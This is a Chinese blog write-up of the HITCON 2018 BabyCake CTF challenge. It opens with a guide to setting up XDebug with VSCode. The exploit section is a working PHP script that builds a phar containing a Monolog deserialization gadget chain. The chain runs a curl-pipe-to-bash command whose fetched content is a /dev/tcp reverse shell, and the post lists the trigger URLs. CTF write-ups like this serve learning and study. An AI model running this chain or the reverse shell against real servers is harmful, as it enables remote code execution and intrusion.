HITCON 2018 BabyCake WriteUp && XDebug + VSCode远 程调试



youGuess28 ① 于 2018-11-22 15:26:46 发布 ^① 938 🛠 收藏

分类专栏: WriteUp 环境配置

版权声明:本文为博主原创文章,遵循<u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。 本文链接:<u>https://blog.csdn.net/littlelittlebai/article/details/84339327</u>



Č.

WriteUp 同时被 2 个专栏收录

12 篇文章 1 订阅

订阅专栏



6 篇文章 0 订阅 订阅专栏 哦,终于把这道题目搞定了,写一下我的复现过程,主要是配了一下Xdebug的环境,因为手抖耽误了很多时间。 先贴一下docker:

docker pull gaoxijiejie/babycake:version 下载好之后运行指令为: docker run -id --name cake-xdebug -p 8080:80 -p 9009:9009 cake-xdebug /bin/bash (xdebug 使用的端口是9009) 这个 docker 配了 XDebug ,首先贴一下配置过程。 (我是在虚拟机的 docker 里跑的 babycake 的服务,调试在物理机的 vscode)

安装 Xdebug : apt-get install php-xdebug, 安装好之后会显示 xdebug.so 的路径

打开 /etc/php/7.0/apache2/php.ini , 在最后添加如下内容:

```
zend_extension = /*xdebug.so的路径*/
[XDebug]
xdebug.remote_enable = on
xdebug.remote_autostart = 1
xdebug.remote_host = 192.168.101.1 //物理机的ip
xdebug.remote_port = 9009 //
xdebug.auto_trace = 1
xdebug.idekey = XDEBUG_VSCODE //这个好像没用到
xdebug.remote_handler = dbgp //好像没用到
xdebug.remote_log = /tmp/xdebug.log //日志文件
```

重启 apache2 : service apache2 restart

接下来就是配置 vscode ,修改 launch.json 调试配置文件

```
{
   // 使用 IntelliSense 了解相关属性。
   // 悬停以查看现有属性的描述。
   // 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387
   "version": "0.2.0",
   "configurations": [
       {
           "name": "Listen for XDebug",
           "type": "php",
           "request": "launch",
           "stopOnEntry":true,
           "pathMappings": {"/var/www/html/": "${workspaceRoot}"},
           "port": 9009 //与php.ini对应
       },
       {
           "name": "Launch currently open script",
           "type": "php",
           "request": "launch",
           "program": "${file}",
           "cwd": "${fileDirname}",
           "pathMappings": {"/var/www/html/": "${workspaceRoot}"},
           "port": 9009
       }
   ]
```

之后在 vscode 中点击调试按钮,在浏览器中刷新页面,就可以捕捉到断点啦。

}

F ì	调试 🕨 Listen for XDebug 💠 🔅 🖸	🏶 PagesController.php	🐄 index.php 🗙	<pre>{} launch.json</pre>		∎ ▶ 🖓	<u>ະ</u> ເ	•		••••
<u> </u>	⊿ 变量								Construction of the state of th	
م چ	<pre>Locals \$file: uninitialized \$server: uninitialized</pre>		nder The MIT License opyright and license itions of files must			LICENSE.txt tice.			Control of the second s	
8	\$url: uninitialized	12 * @copyright	Copyright (c) C	ake Software Found	dation, Inc. Project	(<u>https://c</u>	akefoundatio	n.org)		
8	 ➢ Superglobals ➢ User defined constants 	13 * @Unk 14 * @since 15 * @license 16 */ 17	0.2.9 MIT License (<u>ht</u>	tps://opensource.o	org/licenses	/mit-licens				
		19 require dirna	<pre>ime(DIR) . '/conf</pre>	ig/requirements.ph	hp';					
	▲ 监视									
	\$data: null	<pre>22</pre>								
	▲ 调用堆栈 因 ENTRY 已暂停									
	{main} index.php 19:1	29 7 30 } 31 require dirma 32 33 use App\Appl: 34 use Cake\Http 35 36 // Bind your	<pre>} require dirname(DIR) . '/vendor/autoload.php'; use App\Application; use Cake\Http\Server; // Bind your application to the server. // Bind your application to the server.</pre>							
	▲ 断点	37 \$server = nev	Server(new Applicat	ion(dirname(DIR_) . '/conf	ig'));				
	NoticesWarnings	39 // Run the re 40 \$server->emi	equest/response throu (\$server->run());	<pre>it/response through the application and emit the response. erver->run());</pre>						
₩.	 Errors Exceptions Everything CorrnData.php vendor/cakephp/ca 105 PagesController.php src/Controller 	问题输出调试控制台							≦ ∕	×
	PagesController.php src/Controller 96	>								
🛛 🛛 😧	, 0 🕨 Listen for XDebug (html)						行19,列1	空格: 4 UTF-8 L	F httpPH/Pg.csd	vlitti

如果一直出问题,不能正常调试到话,可以看一下 xdebug.log 里到报错信息。 环境搭建到过程还是很简单的。vscode 中要下载的 php-debug 插件,我在之前的文章里有写过,就不重复里。

接下来就是解题过程啦。

说一下整体思路:

服务器收到请求之后,会看一下这个 url 有没有被请求过,如果没有,那就请求这个 url ,并把返回的 head 和 body 写 到 cache 里;如果有,那就去 cache 文件里,把页面内容读出来返回给客户端。

出问题的地方在: 当是 post 方法的时候, 会判断 post 的 data 值, 如果 data 的第一个字符是 @, 最终会调用 file_get_contents 函数去请求 data 路径。

然后利用 phar:// 伪协议在解压文件时存在反序列化的过程,加上 Monolog 存在的反序列化 RCE 漏洞,从而 getshell 。

```
gen.php
<?php
namespace Monolog\Handler
{
   class SyslogUdpHandler
    {
        protected $socket;
       function __construct($x)
        {
            $this->socket = $x;
        }
    }
    class BufferHandler
    {
        protected $handler;
        protected $bufferSize = -1;
        protected $buffer;
        # ($record['level'] < $this->level) == false
        protected $level = null;
        protected $initialized = true;
       # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
        protected $bufferLimit = -1;
        protected $processors;
        function __construct($methods, $command)
        {
            $this->processors = $methods;
            $this->buffer = [$command];
            $this->handler = clone $this;
       }
    }
}
namespace{
    $cmd = "curl http://192.168.101.128/ |bash";
    //http://192.168.101.128的内容是bash -i >& /dev/tcp/192.168.101.1/1234 0>&1
    //128是虚拟机ip,1是物理机ip
   $obj = new \Monolog\Handler\SyslogUdpHandler(
        new \Monolog\Handler\BufferHandler(
            ['current', 'system'],
            [$cmd, 'level' => null]
        )
    );
    $phar = new Phar('exploit.phar');
    $phar->startBuffering();
    $phar->addFromString('test', 'test');
    $phar->setStub('<?php __HALT_COMPILER(); ? >');
    $phar->setMetadata($obj);
    $phar->stopBuffering();
}
```

上述脚本为生成恶意文件的脚本,该恶意文件在被 phar:// 伪协议解析时,存在反序列化操作,出发 Monolog 的 RCE 。

依次访问:

```
http://192.168.101.128:8080/?url=http://x.x.x.x/exploit.phar
http://192.168.101.128:8080/?url=http://x.x.x.x/index.html&data[x]=@phar:///var/www/html/tmp/cache/mycache/192.1
68.101.1/90c2a3a6fc4d596265b8707463dcbfc9/body.cache
```

即反弹 shell 成功, body.cache 的路径根据源码可以自己猜测到。

```
出问题的 addFile 函数:
```

```
FormData.php
```

```
public function addFile($name, $value)
   {
        $this->_hasFile = true;
        $filename = false;
        $contentType = 'application/octet-stream';
        if (is_resource($value)) {
            $content = stream_get_contents($value);
            if (stream_is_local($value)) {
                $finfo = new finfo(FILEINFO MIME);
                $metadata = stream_get_meta_data($value);
                $contentType = $finfo->file($metadata['uri']);
                $filename = basename($metadata['uri']);
           }
        } else {
           $finfo = new finfo(FILEINFO_MIME);
           $value = substr($value, 1);
           $filename = basename($value);
            $content = file get contents($value);
            $contentType = $finfo->file($value);
        }
        $part = $this->newPart($name, $content);
        $part->type($contentType);
       if ($filename) {
            $part->filename($filename);
        }
        $this->add($part);
        return $part;
   }
```

?,每次都是做题目的时候想着赶快做出来,要好好写一个详细的WriteUp,把遇到的坑的写了。
 等做出来之后发现,emm,我踩的那些坑都是写啥呀...
 具体的代码审计过程就不写啦,可以单步调试一步一步看怎么执行到问题函数的。
 不过,真正比赛时做这个题目的时候,我连函数哪跟哪都不知道啊...